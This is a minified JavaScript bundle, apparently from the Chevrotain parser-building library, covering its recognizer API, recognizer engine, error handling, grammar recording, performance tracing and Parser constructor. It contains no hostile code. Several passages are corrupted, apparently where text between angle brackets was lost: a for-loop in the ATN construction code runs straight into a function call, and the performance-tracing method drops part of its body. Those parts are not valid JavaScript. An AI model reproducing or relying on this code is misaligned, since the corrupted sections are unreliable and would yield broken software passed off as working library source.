strict";Yt();C1();js();b1();cb();ps();wS=class{static{o(this,"RecognizerApi")}ACTION(e){return e.call(this)}consume(e,r,n){return this.consumeInternal(r,e,n)}subrule(e,r,n){return this.subruleInternal(r,e,n)}option(e,r){return this.optionInternal(r,e)}or(e,r){return this.orInternal(r,e)}many(e,r){return this.manyInternal(e,r)}atLeastOne(e,r){return this.atLeastOneInternal(e,r)}CONSUME(e,r){return this.consumeInternal(e,0,r)}CONSUME1(e,r){return this.consumeInternal(e,1,r)}CONSUME2(e,r){return this.consumeInternal(e,2,r)}CONSUME3(e,r){return this.consumeInternal(e,3,r)}CONSUME4(e,r){return this.consumeInternal(e,4,r)}CONSUME5(e,r){return this.consumeInternal(e,5,r)}CONSUME6(e,r){return this.consumeInternal(e,6,r)}CONSUME7(e,r){return this.consumeInternal(e,7,r)}CONSUME8(e,r){return this.consumeInternal(e,8,r)}CONSUME9(e,r){return this.consumeInternal(e,9,r)}SUBRULE(e,r){return this.subruleInternal(e,0,r)}SUBRULE1(e,r){return this.subruleInternal(e,1,r)}SUBRULE2(e,r){return this.subruleInternal(e,2,r)}SUBRULE3(e,r){return this.subruleInternal(e,3,r)}SUBRULE4(e,r){return this.subruleInternal(e,4,r)}SUBRULE5(e,r){return this.subruleInternal(e,5,r)}SUBRULE6(e,r){return this.subruleInternal(e,6,r)}SUBRULE7(e,r){return this.subruleInternal(e,7,r)}SUBRULE8(e,r){return this.subruleInternal(e,8,r)}SUBRULE9(e,r){return this.subruleInternal(e,9,r)}OPTION(e){return this.optionInternal(e,0)}OPTION1(e){return this.optionInternal(e,1)}OPTION2(e){return this.optionInternal(e,2)}OPTION3(e){return this.optionInternal(e,3)}OPTION4(e){return this.optionInternal(e,4)}OPTION5(e){return this.optionInternal(e,5)}OPTION6(e){return this.optionInternal(e,6)}OPTION7(e){return this.optionInternal(e,7)}OPTION8(e){return this.optionInternal(e,8)}OPTION9(e){return this.optionInternal(e,9)}OR(e){return this.orInternal(e,0)}OR1(e){return this.orInternal(e,1)}OR2(e){return this.orInternal(e,2)}OR3(e){return this.orInternal(e,3)}OR4(e){return this.orInternal(e,4)}OR5(e){return this.orInternal(e,5)}OR6(e){return this.orInternal(e,6)}OR7(e){return this.orInternal(e,7)}OR8(e){return this.orInternal(e,8)}OR9(e){return this.orInternal(e,9)}MANY(e){this.manyInternal(0,e)}MANY1(e){this.manyInternal(1,e)}MANY2(e){this.manyInternal(2,e)}MANY3(e){this.manyInternal(3,e)}MANY4(e){this.manyInternal(4,e)}MANY5(e){this.manyInternal(5,e)}MANY6(e){this.manyInternal(6,e)}MANY7(e){this.manyInternal(7,e)}MANY8(e){this.manyInternal(8,e)}MANY9(e){this.manyInternal(9,e)}MANY_SEP(e){this.manySepFirstInternal(0,e)}MANY_SEP1(e){this.manySepFirstInternal(1,e)}MANY_SEP2(e){this.manySepFirstInternal(2,e)}MANY_SEP3(e){this.manySepFirstInternal(3,e)}MANY_SEP4(e){this.manySepFirstInternal(4,e)}MANY_SEP5(e){this.manySepFirstInternal(5,e)}MANY_SEP6(e){this.manySepFirstInternal(6,e)}MANY_SEP7(e){this.manySepFirstInternal(7,e)}MANY_SEP8(e){this.manySepFirstInternal(8,e)}MANY_SEP9(e){this.manySepFirstInternal(9,e)}AT_LEAST_ONE(e){this.atLeastOneInternal(0,e)}AT_LEAST_ONE1(e){return this.atLeastOneInternal(1,e)}AT_LEAST_ONE2(e){this.atLeastOneInternal(2,e)}AT_LEAST_ONE3(e){this.atLeastOneInternal(3,e)}AT_LEAST_ONE4(e){this.atLeastOneInternal(4,e)}AT_LEAST_ONE5(e){this.atLeastOneInternal(5,e)}AT_LEAST_ONE6(e){this.atLeastOneInternal(6,e)}AT_LEAST_ONE7(e){this.atLeastOneInternal(7,e)}AT_LEAST_ONE8(e){this.atLeastOneInternal(8,e)}AT_LEAST_ONE9(e){this.atLeastOneInternal(9,e)}AT_LEAST_ONE_SEP(e){this.atLeastOneSepFirstInternal(0,e)}AT_LEAST_ONE_SEP1(e){this.atLeastOneSepFirstInternal(1,e)}AT_LEAST_ONE_SEP2(e){this.atLeastOneSepFirstInternal(2,e)}AT_LEAST_ONE_SEP3(e){this.atLeastOneSepFirstInternal(3,e)}AT_LEAST_ONE_SEP4(e){this.atLeastOneSepFirstInternal(4,e)}AT_LEAST_ONE_SEP5(e){this.atLeastOneSepFirstInternal(5,e)}AT_LEAST_ONE_SEP6(e){this.atLeastOneSepFirstInternal(6,e)}AT_LEAST_ONE_SEP7(e){this.atLeastOneSepFirstInternal(7,e)}AT_LEAST_ONE_SEP8(e){this.atLeastOneSepFirstInternal(8,e)}AT_LEAST_ONE_SEP9(e){this.atLeastOneSepFirstInternal(9,e)}RULE(e,r,n=_1){if(jn(this.definedRulesNames,e)){let s={message:Gl.buildDuplicateRuleNameError({topLevelRule:e,grammarName:this.className}),type:Gi.DUPLICATE_RULE_NAME,ruleName:e};this.definitionErrors.push(s)}this.definedRulesNames.push(e);let i=this.defineRule(e,r,n);return this[e]=i,i}OVERRIDE_RULE(e,r,n=_1){let i=Yde(e,this.definedRulesNames,this.className);this.definitionErrors=this.definitionErrors.concat(i);let a=this.defineRule(e,r,n);return this[e]=a,a}BACKTRACK(e,r){return function(){this.isBackTrackingStack.push(1);let n=this.saveRecogState();try{return e.apply(this,r),!0}catch(i){if(Bf(i))return!1;throw i}finally{this.reloadRecogState(n),this.isBackTrackingStack.pop()}}}getGAstProductions(){return this.gastProductionsCache}getSerializedGastProductions(){return YE(kr(this.gastProductionsCache))}}});var kS,gpe=N(()=>{"use strict";Yt();pS();C1();E1();sb();js();cP();Up();Vp();kS=class{static{o(this,"RecognizerEngine")}initRecognizerEngine(e,r){if(this.className=this.constructor.name,this.shortRuleNameToFull={},this.fullRuleNameToShort={},this.ruleShortNameIdx=256,this.tokenMatcher=v1,this.subruleIdx=0,this.definedRulesNames=[],this.tokensMap={},this.isBackTrackingStack=[],this.RULE_STACK=[],this.RULE_OCCURRENCE_STACK=[],this.gastProductionsCache={},Ft(r,"serializedGrammar"))throw Error(`The Parser's configuration can no longer contain a property. + See: https://chevrotain.io/docs/changes/BREAKING_CHANGES.html#_6-0-0 + For Further details.`);if(Bt(e)){if(mr(e))throw Error(`A Token Vocabulary cannot be empty. + Note that the first argument for the parser constructor + is no longer a Token vector (since v4.0).`);if(typeof e[0].startOffset=="number")throw Error(`The Parser constructor no longer accepts a token vector as the first argument. + See: https://chevrotain.io/docs/changes/BREAKING_CHANGES.html#_4-0-0 + For Further details.`)}if(Bt(e))this.tokensMap=Jr(e,(a,s)=>(a[s.name]=s,a),{});else if(Ft(e,"modes")&&Pa(Qr(kr(e.modes)),Ede)){let a=Qr(kr(e.modes)),s=qm(a);this.tokensMap=Jr(s,(l,u)=>(l[u.name]=u,l),{})}else if(Sn(e))this.tokensMap=ln(e);else throw new Error(" argument must be An Array of Token constructors, A dictionary of Token constructors or an IMultiModeLexerDefinition");this.tokensMap.EOF=yo;let n=Ft(e,"modes")?Qr(kr(e.modes)):kr(e),i=Pa(n,a=>mr(a.categoryMatches));this.tokenMatcher=i?v1:Xu,ju(kr(this.tokensMap))}defineRule(e,r,n){if(this.selfAnalysisDone)throw Error(`Grammar rule <${e}> may not be defined after the 'performSelfAnalysis' method has been called' +Make sure that all grammar rule definitions are done before 'performSelfAnalysis' is called.`);let i=Ft(n,"resyncEnabled")?n.resyncEnabled:_1.resyncEnabled,a=Ft(n,"recoveryValueFunc")?n.recoveryValueFunc:_1.recoveryValueFunc,s=this.ruleShortNameIdx<<12;this.ruleShortNameIdx++,this.shortRuleNameToFull[s]=e,this.fullRuleNameToShort[e]=s;let l;return this.outputCst===!0?l=o(function(...f){try{this.ruleInvocationStateUpdate(s,e,this.subruleIdx),r.apply(this,f);let d=this.CST_STACK[this.CST_STACK.length-1];return this.cstPostRule(d),d}catch(d){return this.invokeRuleCatch(d,i,a)}finally{this.ruleFinallyStateUpdate()}},"invokeRuleWithTry"):l=o(function(...f){try{return this.ruleInvocationStateUpdate(s,e,this.subruleIdx),r.apply(this,f)}catch(d){return this.invokeRuleCatch(d,i,a)}finally{this.ruleFinallyStateUpdate()}},"invokeRuleWithTryCst"),Object.assign(l,{ruleName:e,originalGrammarAction:r})}invokeRuleCatch(e,r,n){let i=this.RULE_STACK.length===1,a=r&&!this.isBackTracking()&&this.recoveryEnabled;if(Bf(e)){let s=e;if(a){let l=this.findReSyncTokenType();if(this.isInCurrentRuleReSyncSet(l))if(s.resyncedTokens=this.reSyncTo(l),this.outputCst){let u=this.CST_STACK[this.CST_STACK.length-1];return u.recoveredNode=!0,u}else return n(e);else{if(this.outputCst){let u=this.CST_STACK[this.CST_STACK.length-1];u.recoveredNode=!0,s.partialCstResult=u}throw s}}else{if(i)return this.moveToTerminatedState(),n(e);throw s}}else throw e}optionInternal(e,r){let n=this.getKeyForAutomaticLookahead(512,r);return this.optionInternalLogic(e,r,n)}optionInternalLogic(e,r,n){let i=this.getLaFuncFromCache(n),a;if(typeof e!="function"){a=e.DEF;let s=e.GATE;if(s!==void 0){let l=i;i=o(()=>s.call(this)&&l.call(this),"lookAheadFunc")}}else a=e;if(i.call(this)===!0)return a.call(this)}atLeastOneInternal(e,r){let n=this.getKeyForAutomaticLookahead(1024,e);return this.atLeastOneInternalLogic(e,r,n)}atLeastOneInternalLogic(e,r,n){let i=this.getLaFuncFromCache(n),a;if(typeof r!="function"){a=r.DEF;let s=r.GATE;if(s!==void 0){let l=i;i=o(()=>s.call(this)&&l.call(this),"lookAheadFunc")}}else a=r;if(i.call(this)===!0){let s=this.doSingleRepetition(a);for(;i.call(this)===!0&&s===!0;)s=this.doSingleRepetition(a)}else throw this.raiseEarlyExitException(e,Jn.REPETITION_MANDATORY,r.ERR_MSG);this.attemptInRepetitionRecovery(this.atLeastOneInternal,[e,r],i,1024,e,aS)}atLeastOneSepFirstInternal(e,r){let n=this.getKeyForAutomaticLookahead(1536,e);this.atLeastOneSepFirstInternalLogic(e,r,n)}atLeastOneSepFirstInternalLogic(e,r,n){let i=r.DEF,a=r.SEP;if(this.getLaFuncFromCache(n).call(this)===!0){i.call(this);let l=o(()=>this.tokenMatcher(this.LA(1),a),"separatorLookAheadFunc");for(;this.tokenMatcher(this.LA(1),a)===!0;)this.CONSUME(a),i.call(this);this.attemptInRepetitionRecovery(this.repetitionSepSecondInternal,[e,a,l,i,ab],l,1536,e,ab)}else throw this.raiseEarlyExitException(e,Jn.REPETITION_MANDATORY_WITH_SEPARATOR,r.ERR_MSG)}manyInternal(e,r){let n=this.getKeyForAutomaticLookahead(768,e);return this.manyInternalLogic(e,r,n)}manyInternalLogic(e,r,n){let i=this.getLaFuncFromCache(n),a;if(typeof r!="function"){a=r.DEF;let l=r.GATE;if(l!==void 0){let u=i;i=o(()=>l.call(this)&&u.call(this),"lookaheadFunction")}}else a=r;let s=!0;for(;i.call(this)===!0&&s===!0;)s=this.doSingleRepetition(a);this.attemptInRepetitionRecovery(this.manyInternal,[e,r],i,768,e,iS,s)}manySepFirstInternal(e,r){let n=this.getKeyForAutomaticLookahead(1280,e);this.manySepFirstInternalLogic(e,r,n)}manySepFirstInternalLogic(e,r,n){let i=r.DEF,a=r.SEP;if(this.getLaFuncFromCache(n).call(this)===!0){i.call(this);let l=o(()=>this.tokenMatcher(this.LA(1),a),"separatorLookAheadFunc");for(;this.tokenMatcher(this.LA(1),a)===!0;)this.CONSUME(a),i.call(this);this.attemptInRepetitionRecovery(this.repetitionSepSecondInternal,[e,a,l,i,ib],l,1280,e,ib)}}repetitionSepSecondInternal(e,r,n,i,a){for(;n();)this.CONSUME(r),i.call(this);this.attemptInRepetitionRecovery(this.repetitionSepSecondInternal,[e,r,n,i,a],n,1536,e,a)}doSingleRepetition(e){let r=this.getLexerPosition();return e.call(this),this.getLexerPosition()>r}orInternal(e,r){let n=this.getKeyForAutomaticLookahead(256,r),i=Bt(e)?e:e.DEF,s=this.getLaFuncFromCache(n).call(this,i);if(s!==void 0)return i[s].ALT.call(this);this.raiseNoAltException(r,e.ERR_MSG)}ruleFinallyStateUpdate(){if(this.RULE_STACK.pop(),this.RULE_OCCURRENCE_STACK.pop(),this.cstFinallyStateUpdate(),this.RULE_STACK.length===0&&this.isAtEndOfInput()===!1){let e=this.LA(1),r=this.errorMessageProvider.buildNotAllInputParsedMessage({firstRedundant:e,ruleName:this.getCurrRuleFullName()});this.SAVE_ERROR(new hb(r,e))}}subruleInternal(e,r,n){let i;try{let a=n!==void 0?n.ARGS:void 0;return this.subruleIdx=r,i=e.apply(this,a),this.cstPostNonTerminal(i,n!==void 0&&n.LABEL!==void 0?n.LABEL:e.ruleName),i}catch(a){throw this.subruleInternalError(a,n,e.ruleName)}}subruleInternalError(e,r,n){throw Bf(e)&&e.partialCstResult!==void 0&&(this.cstPostNonTerminal(e.partialCstResult,r!==void 0&&r.LABEL!==void 0?r.LABEL:n),delete e.partialCstResult),e}consumeInternal(e,r,n){let i;try{let a=this.LA(1);this.tokenMatcher(a,e)===!0?(this.consumeToken(),i=a):this.consumeInternalError(e,a,n)}catch(a){i=this.consumeInternalRecovery(e,r,a)}return this.cstPostTerminal(n!==void 0&&n.LABEL!==void 0?n.LABEL:e.name,i),i}consumeInternalError(e,r,n){let i,a=this.LA(0);throw n!==void 0&&n.ERR_MSG?i=n.ERR_MSG:i=this.errorMessageProvider.buildMismatchTokenMessage({expected:e,actual:r,previous:a,ruleName:this.getCurrRuleFullName()}),this.SAVE_ERROR(new Hp(i,r,a))}consumeInternalRecovery(e,r,n){if(this.recoveryEnabled&&n.name==="MismatchedTokenException"&&!this.isBackTracking()){let i=this.getFollowsForInRuleRecovery(e,r);try{return this.tryInRuleRecovery(e,i)}catch(a){throw a.name===lP?n:a}}else throw n}saveRecogState(){let e=this.errors,r=ln(this.RULE_STACK);return{errors:e,lexerState:this.exportLexerState(),RULE_STACK:r,CST_STACK:this.CST_STACK}}reloadRecogState(e){this.errors=e.errors,this.importLexerState(e.lexerState),this.RULE_STACK=e.RULE_STACK}ruleInvocationStateUpdate(e,r,n){this.RULE_OCCURRENCE_STACK.push(n),this.RULE_STACK.push(e),this.cstInvocationStateUpdate(r)}isBackTracking(){return this.isBackTrackingStack.length!==0}getCurrRuleFullName(){let e=this.getLastExplicitRuleShortName();return this.shortRuleNameToFull[e]}shortRuleNameToFullName(e){return this.shortRuleNameToFull[e]}isAtEndOfInput(){return this.tokenMatcher(this.LA(1),yo)}reset(){this.resetLexerState(),this.subruleIdx=0,this.isBackTrackingStack=[],this.errors=[],this.RULE_STACK=[],this.CST_STACK=[],this.RULE_OCCURRENCE_STACK=[]}}});var ES,ype=N(()=>{"use strict";C1();Yt();E1();js();ES=class{static{o(this,"ErrorHandler")}initErrorHandler(e){this._errors=[],this.errorMessageProvider=Ft(e,"errorMessageProvider")?e.errorMessageProvider:ms.errorMessageProvider}SAVE_ERROR(e){if(Bf(e))return e.context={ruleStack:this.getHumanReadableRuleStack(),ruleOccurrenceStack:ln(this.RULE_OCCURRENCE_STACK)},this._errors.push(e),e;throw Error("Trying to save an Error which is not a RecognitionException")}get errors(){return ln(this._errors)}set errors(e){this._errors=e}raiseEarlyExitException(e,r,n){let i=this.getCurrRuleFullName(),a=this.getGAstProductions()[i],l=k1(e,a,r,this.maxLookahead)[0],u=[];for(let f=1;f<=this.maxLookahead;f++)u.push(this.LA(f));let h=this.errorMessageProvider.buildEarlyExitMessage({expectedIterationPaths:l,actual:u,previous:this.LA(0),customUserDescription:n,ruleName:i});throw this.SAVE_ERROR(new fb(h,this.LA(1),this.LA(0)))}raiseNoAltException(e,r){let n=this.getCurrRuleFullName(),i=this.getGAstProductions()[n],a=w1(e,i,this.maxLookahead),s=[];for(let h=1;h<=this.maxLookahead;h++)s.push(this.LA(h));let l=this.LA(0),u=this.errorMessageProvider.buildNoViableAltMessage({expectedPathsPerAlt:a,actual:s,previous:l,customUserDescription:r,ruleName:this.getCurrRuleFullName()});throw this.SAVE_ERROR(new ub(u,this.LA(1),l))}}});var SS,vpe=N(()=>{"use strict";sb();Yt();SS=class{static{o(this,"ContentAssist")}initContentAssist(){}computeContentAssist(e,r){let n=this.gastProductionsCache[e];if(xr(n))throw Error(`Rule ->${e}<- does not exist in this grammar.`);return oS([n],r,this.tokenMatcher,this.maxLookahead)}getNextPossibleTokenTypes(e){let r=ea(e.ruleStack),i=this.getGAstProductions()[r];return new nS(i,e).startWalking()}}});function pb(t,e,r,n=!1){AS(r);let i=ma(this.recordingProdStack),a=Si(e)?e:e.DEF,s=new t({definition:[],idx:r});return n&&(s.separator=e.SEP),Ft(e,"MAX_LOOKAHEAD")&&(s.maxLookahead=e.MAX_LOOKAHEAD),this.recordingProdStack.push(s),a.call(this),i.definition.push(s),this.recordingProdStack.pop(),_S}function KYe(t,e){AS(e);let r=ma(this.recordingProdStack),n=Bt(t)===!1,i=n===!1?t:t.DEF,a=new Dn({definition:[],idx:e,ignoreAmbiguities:n&&t.IGNORE_AMBIGUITIES===!0});Ft(t,"MAX_LOOKAHEAD")&&(a.maxLookahead=t.MAX_LOOKAHEAD);let s=z2(i,l=>Si(l.GATE));return a.hasPredicates=s,r.definition.push(a),Ae(i,l=>{let u=new Pn({definition:[]});a.definition.push(u),Ft(l,"IGNORE_AMBIGUITIES")?u.ignoreAmbiguities=l.IGNORE_AMBIGUITIES:Ft(l,"GATE")&&(u.ignoreAmbiguities=!0),this.recordingProdStack.push(u),l.ALT.call(this),this.recordingProdStack.pop()}),_S}function Tpe(t){return t===0?"":`${t}`}function AS(t){if(t<0||t>bpe){let e=new Error(`Invalid DSL Method idx value: <${t}> + Idx value must be a none negative value smaller than ${bpe+1}`);throw e.KNOWN_RECORDER_ERROR=!0,e}}var _S,xpe,bpe,wpe,kpe,jYe,CS,Epe=N(()=>{"use strict";Yt();ps();tb();Vp();Up();js();pS();_S={description:"This Object indicates the Parser is during Recording Phase"};Object.freeze(_S);xpe=!0,bpe=Math.pow(2,8)-1,wpe=Pf({name:"RECORDING_PHASE_TOKEN",pattern:Zn.NA});ju([wpe]);kpe=Qu(wpe,`This IToken indicates the Parser is in Recording Phase + See: https://chevrotain.io/docs/guide/internals.html#grammar-recording for details`,-1,-1,-1,-1,-1,-1);Object.freeze(kpe);jYe={name:`This CSTNode indicates the Parser is in Recording Phase + See: https://chevrotain.io/docs/guide/internals.html#grammar-recording for details`,children:{}},CS=class{static{o(this,"GastRecorder")}initGastRecorder(e){this.recordingProdStack=[],this.RECORDING_PHASE=!1}enableRecording(){this.RECORDING_PHASE=!0,this.TRACE_INIT("Enable Recording",()=>{for(let e=0;e<10;e++){let r=e>0?e:"";this[`CONSUME${r}`]=function(n,i){return this.consumeInternalRecord(n,e,i)},this[`SUBRULE${r}`]=function(n,i){return this.subruleInternalRecord(n,e,i)},this[`OPTION${r}`]=function(n){return this.optionInternalRecord(n,e)},this[`OR${r}`]=function(n){return this.orInternalRecord(n,e)},this[`MANY${r}`]=function(n){this.manyInternalRecord(e,n)},this[`MANY_SEP${r}`]=function(n){this.manySepFirstInternalRecord(e,n)},this[`AT_LEAST_ONE${r}`]=function(n){this.atLeastOneInternalRecord(e,n)},this[`AT_LEAST_ONE_SEP${r}`]=function(n){this.atLeastOneSepFirstInternalRecord(e,n)}}this.consume=function(e,r,n){return this.consumeInternalRecord(r,e,n)},this.subrule=function(e,r,n){return this.subruleInternalRecord(r,e,n)},this.option=function(e,r){return this.optionInternalRecord(r,e)},this.or=function(e,r){return this.orInternalRecord(r,e)},this.many=function(e,r){this.manyInternalRecord(e,r)},this.atLeastOne=function(e,r){this.atLeastOneInternalRecord(e,r)},this.ACTION=this.ACTION_RECORD,this.BACKTRACK=this.BACKTRACK_RECORD,this.LA=this.LA_RECORD})}disableRecording(){this.RECORDING_PHASE=!1,this.TRACE_INIT("Deleting Recording methods",()=>{let e=this;for(let r=0;r<10;r++){let n=r>0?r:"";delete e[`CONSUME${n}`],delete e[`SUBRULE${n}`],delete e[`OPTION${n}`],delete e[`OR${n}`],delete e[`MANY${n}`],delete e[`MANY_SEP${n}`],delete e[`AT_LEAST_ONE${n}`],delete e[`AT_LEAST_ONE_SEP${n}`]}delete e.consume,delete e.subrule,delete e.option,delete e.or,delete e.many,delete e.atLeastOne,delete e.ACTION,delete e.BACKTRACK,delete e.LA})}ACTION_RECORD(e){}BACKTRACK_RECORD(e,r){return()=>!0}LA_RECORD(e){return A1}topLevelRuleRecord(e,r){try{let n=new fs({definition:[],name:e});return n.name=e,this.recordingProdStack.push(n),r.call(this),this.recordingProdStack.pop(),n}catch(n){if(n.KNOWN_RECORDER_ERROR!==!0)try{n.message=n.message+` + This error was thrown during the "grammar recording phase" For more info see: + https://chevrotain.io/docs/guide/internals.html#grammar-recording`}catch{throw n}throw n}}optionInternalRecord(e,r){return pb.call(this,dn,e,r)}atLeastOneInternalRecord(e,r){pb.call(this,Bn,r,e)}atLeastOneSepFirstInternalRecord(e,r){pb.call(this,Fn,r,e,xpe)}manyInternalRecord(e,r){pb.call(this,zr,r,e)}manySepFirstInternalRecord(e,r){pb.call(this,_n,r,e,xpe)}orInternalRecord(e,r){return KYe.call(this,e,r)}subruleInternalRecord(e,r,n){if(AS(r),!e||Ft(e,"ruleName")===!1){let l=new Error(` argument is invalid expecting a Parser method reference but got: <${JSON.stringify(e)}> + inside top level rule: <${this.recordingProdStack[0].name}>`);throw l.KNOWN_RECORDER_ERROR=!0,l}let i=ma(this.recordingProdStack),a=e.ruleName,s=new fn({idx:r,nonTerminalName:a,label:n?.LABEL,referencedRule:void 0});return i.definition.push(s),this.outputCst?jYe:_S}consumeInternalRecord(e,r,n){if(AS(r),!KO(e)){let s=new Error(` argument is invalid expecting a TokenType reference but got: <${JSON.stringify(e)}> + inside top level rule: <${this.recordingProdStack[0].name}>`);throw s.KNOWN_RECORDER_ERROR=!0,s}let i=ma(this.recordingProdStack),a=new Ar({idx:r,terminalType:e,label:n?.LABEL});return i.definition.push(a),kpe}};o(pb,"recordProd");o(KYe,"recordOrProd");o(Tpe,"getIdxSuffix");o(AS,"assertMethodIdxIsValid")});var DS,Spe=N(()=>{"use strict";Yt();d1();js();DS=class{static{o(this,"PerformanceTracer")}initPerformanceTracer(e){if(Ft(e,"traceInitPerf")){let r=e.traceInitPerf,n=typeof r=="number";this.traceInitMaxIdent=n?r:1/0,this.traceInitPerf=n?r>0:r}else this.traceInitMaxIdent=0,this.traceInitPerf=ms.traceInitPerf;this.traceInitIndent=-1}TRACE_INIT(e,r){if(this.traceInitPerf===!0){this.traceInitIndent++;let n=new Array(this.traceInitIndent+1).join(" ");this.traceInitIndent <${e}>`);let{time:i,value:a}=Zx(r),s=i>10?console.warn:console.log;return this.traceInitIndent time: ${i}ms`),this.traceInitIndent--,a}else return r()}}});function Cpe(t,e){e.forEach(r=>{let n=r.prototype;Object.getOwnPropertyNames(n).forEach(i=>{if(i==="constructor")return;let a=Object.getOwnPropertyDescriptor(n,i);a&&(a.get||a.set)?Object.defineProperty(t.prototype,i,a):t.prototype[i]=r.prototype[i]})})}var Ape=N(()=>{"use strict";o(Cpe,"applyMixins")});function LS(t=void 0){return function(){return t}}var A1,ms,_1,Gi,mb,gb,js=N(()=>{"use strict";Yt();d1();nde();Up();b1();Jde();cP();ape();dpe();ppe();mpe();gpe();ype();vpe();Epe();Spe();Ape();cb();A1=Qu(yo,"",NaN,NaN,NaN,NaN,NaN,NaN);Object.freeze(A1);ms=Object.freeze({recoveryEnabled:!1,maxLookahead:3,dynamicTokensEnabled:!1,outputCst:!0,errorMessageProvider:Zu,nodeLocationTracking:"none",traceInitPerf:!1,skipValidations:!1}),_1=Object.freeze({recoveryValueFunc:o(()=>{},"recoveryValueFunc"),resyncEnabled:!0});(function(t){t[t.INVALID_RULE_NAME=0]="INVALID_RULE_NAME",t[t.DUPLICATE_RULE_NAME=1]="DUPLICATE_RULE_NAME",t[t.INVALID_RULE_OVERRIDE=2]="INVALID_RULE_OVERRIDE",t[t.DUPLICATE_PRODUCTIONS=3]="DUPLICATE_PRODUCTIONS",t[t.UNRESOLVED_SUBRULE_REF=4]="UNRESOLVED_SUBRULE_REF",t[t.LEFT_RECURSION=5]="LEFT_RECURSION",t[t.NONE_LAST_EMPTY_ALT=6]="NONE_LAST_EMPTY_ALT",t[t.AMBIGUOUS_ALTS=7]="AMBIGUOUS_ALTS",t[t.CONFLICT_TOKENS_RULES_NAMESPACE=8]="CONFLICT_TOKENS_RULES_NAMESPACE",t[t.INVALID_TOKEN_NAME=9]="INVALID_TOKEN_NAME",t[t.NO_NON_EMPTY_LOOKAHEAD=10]="NO_NON_EMPTY_LOOKAHEAD",t[t.AMBIGUOUS_PREFIX_ALTS=11]="AMBIGUOUS_PREFIX_ALTS",t[t.TOO_MANY_ALTS=12]="TOO_MANY_ALTS",t[t.CUSTOM_LOOKAHEAD_VALIDATION=13]="CUSTOM_LOOKAHEAD_VALIDATION"})(Gi||(Gi={}));o(LS,"EMPTY_ALT");mb=class t{static{o(this,"Parser")}static performSelfAnalysis(e){throw Error("The **static** `performSelfAnalysis` method has been deprecated. \nUse the **instance** method with the same name instead.")}performSelfAnalysis(){this.TRACE_INIT("performSelfAnalysis",()=>{let e;this.selfAnalysisDone=!0;let r=this.className;this.TRACE_INIT("toFastProps",()=>{Jx(this)}),this.TRACE_INIT("Grammar Recording",()=>{try{this.enableRecording(),Ae(this.definedRulesNames,i=>{let s=this[i].originalGrammarAction,l;this.TRACE_INIT(`${i} Rule`,()=>{l=this.topLevelRuleRecord(i,s)}),this.gastProductionsCache[i]=l})}finally{this.disableRecording()}});let n=[];if(this.TRACE_INIT("Grammar Resolving",()=>{n=Qde({rules:kr(this.gastProductionsCache)}),this.definitionErrors=this.definitionErrors.concat(n)}),this.TRACE_INIT("Grammar Validations",()=>{if(mr(n)&&this.skipValidations===!1){let i=Zde({rules:kr(this.gastProductionsCache),tokenTypes:kr(this.tokensMap),errMsgProvider:Gl,grammarName:r}),a=Hde({lookaheadStrategy:this.lookaheadStrategy,rules:kr(this.gastProductionsCache),tokenTypes:kr(this.tokensMap),grammarName:r});this.definitionErrors=this.definitionErrors.concat(i,a)}}),mr(this.definitionErrors)&&(this.recoveryEnabled&&this.TRACE_INIT("computeAllProdsFollows",()=>{let i=rde(kr(this.gastProductionsCache));this.resyncFollows=i}),this.TRACE_INIT("ComputeLookaheadFunctions",()=>{var i,a;(a=(i=this.lookaheadStrategy).initialize)===null||a===void 0||a.call(i,{rules:kr(this.gastProductionsCache)}),this.preComputeLookaheadFunctions(kr(this.gastProductionsCache))})),!t.DEFER_DEFINITION_ERRORS_HANDLING&&!mr(this.definitionErrors))throw e=rt(this.definitionErrors,i=>i.message),new Error(`Parser Definition Errors detected: + ${e.join(` +------------------------------- +`)}`)})}constructor(e,r){this.definitionErrors=[],this.selfAnalysisDone=!1;let n=this;if(n.initErrorHandler(r),n.initLexerAdapter(),n.initLooksAhead(r),n.initRecognizerEngine(e,r),n.initRecoverable(r),n.initTreeBuilder(r),n.initContentAssist(),n.initGastRecorder(r),n.initPerformanceTracer(r),Ft(r,"ignoredIssues"))throw new Error(`The IParserConfig property has been deprecated. + Please use the flag on the relevant DSL method instead. + See: https://chevrotain.io/docs/guide/resolving_grammar_errors.html#IGNORING_AMBIGUITIES + For further details.`);this.skipValidations=Ft(r,"skipValidations")?r.skipValidations:ms.skipValidations}};mb.DEFER_DEFINITION_ERRORS_HANDLING=!1;Cpe(mb,[fS,gS,bS,TS,kS,wS,ES,SS,CS,DS]);gb=class extends mb{static{o(this,"EmbeddedActionsParser")}constructor(e,r=ms){let n=ln(r);n.outputCst=!1,super(e,n)}}});var _pe=N(()=>{"use strict";ps()});var Dpe=N(()=>{"use strict"});var Lpe=N(()=>{"use strict";_pe();Dpe()});var Rpe=N(()=>{"use strict";FO()});var Ff=N(()=>{"use strict";FO();js();tb();Up();E1();uP();b1();C1();QO();ps();ps();Lpe();Rpe()});function qp(t,e,r){return`${t.name}_${e}_${r}`}function Ope(t){let e={decisionMap:{},decisionStates:[],ruleToStartState:new Map,ruleToStopState:new Map,states:[]};nXe(e,t);let r=t.length;for(let n=0;nPpe(t,e,s));return N1(t,e,n,r,...i)}function cXe(t,e,r){let n=ia(t,e,r,{type:$f});zf(t,n);let i=N1(t,e,n,r,Wp(t,e,r));return uXe(t,e,r,i)}function Wp(t,e,r){let n=Zr(rt(r.definition,i=>Ppe(t,e,i)),i=>i!==void 0);return n.length===1?n[0]:n.length===0?void 0:fXe(t,n)}function Bpe(t,e,r,n,i){let a=n.left,s=n.right,l=ia(t,e,r,{type:rXe});zf(t,l);let u=ia(t,e,r,{type:Ipe});return a.loopback=l,u.loopback=l,t.decisionMap[qp(e,i?"RepetitionMandatoryWithSeparator":"RepetitionMandatory",r.idx)]=l,Di(s,l),i===void 0?(Di(l,a),Di(l,u)):(Di(l,u),Di(l,i.left),Di(i.right,a)),{left:a,right:u}}function Fpe(t,e,r,n,i){let a=n.left,s=n.right,l=ia(t,e,r,{type:tXe});zf(t,l);let u=ia(t,e,r,{type:Ipe}),h=ia(t,e,r,{type:eXe});return l.loopback=h,u.loopback=h,Di(l,a),Di(l,u),Di(s,h),i!==void 0?(Di(h,u),Di(h,i.left),Di(i.right,a)):Di(h,l),t.decisionMap[qp(e,i?"RepetitionWithSeparator":"Repetition",r.idx)]=l,{left:l,right:u}}function uXe(t,e,r,n){let i=n.left,a=n.right;return Di(i,a),t.decisionMap[qp(e,"Option",r.idx)]=i,n}function zf(t,e){return t.decisionStates.push(e),e.decision=t.decisionStates.length-1,e.decision}function N1(t,e,r,n,...i){let a=ia(t,e,n,{type:JYe,start:r});r.end=a;for(let l of i)l!==void 